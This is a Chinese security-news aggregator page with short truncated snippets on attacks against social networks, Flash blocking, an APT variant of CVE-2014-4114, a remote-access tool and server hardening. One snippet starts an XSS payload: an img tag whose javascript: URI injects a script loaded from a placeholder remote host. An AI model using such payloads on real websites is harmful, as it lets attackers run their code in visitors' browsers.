http://drops.wooyun.org/tips/2554 from:http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash...
WooYun-Drops
WooYun-Drops
网络安全
黑客对社交网站攻击的常见五大手法(图文)
Facebook、Twitter、LinkedIn等社交网站在这几年迅速窜红，成为人们网路生活中不可或缺的部分。人潮涌到哪、就成为黑客新目标，社交网站正是不法份子窃取个人资料的新乐园。安全公司赛门铁克...
苹果封杀旧版Flash：强制用户升级
苹果在近日公布的最新支持文件中指出，OS X系统将屏蔽旧版Adobe Flash Player插件，以免用户遇到安全问题。在这份文件中苹果表示，用户必须升级到最新的Flash Player 14.0....
站争：代号1937（番外话-我们网络之间的战争）
今天偶然跟安全参考（HackCto）编辑Rem1x谈到了小说《站争：代号1937》 说：站争好火，那天都碰到盗用的了，一个同学推荐他看的。 说起这部小说，本来想认认真真的写下去。但是因为种种原因一直没...
登录 (WOOYUN)
教你如何在XSS中再插JS
<img src="javascript:try{var s=document.createElement('script');s.src='http://XSS/XSS.js';do...
Seay信息安全博客
陕西省首届计算机网络技能竞赛[网络安全分赛
显示不全请点击全屏阅读 Author:冷夜 From: http://nightx.info & http://www.bhst.org 简单记录下昨天的比赛，早上饿着肚子挤着公交去了举办地。...
业界关注
沙虫（CVE-2014-4114）新变种惊现针对台湾的APT攻击
Xecure lab在10月17号发现变种的0day漏洞 沙虫（CVE-2014-4114 ）已经被用在针对台湾政府以及各单位的APT攻击中，目前主流的杀毒软件还没办法有效地检测。该变种能够直接内...
神兵利刃
远程控制工具—RAIORemote
RAIORemote 是一个远程控制工具(RAT)，目的是为了大家进行远程作业时更加便捷:) 主要功能: 远程文件操作 进程管控 远程主机信息，包括系统信息和用户 脚本编辑器，支持Visua...
Seay信息安全博客
80安全-WEB服务器安全防护浅淡 |
显示不全请点击全屏阅读 ———————————- 煮酒品茶：为什么要...
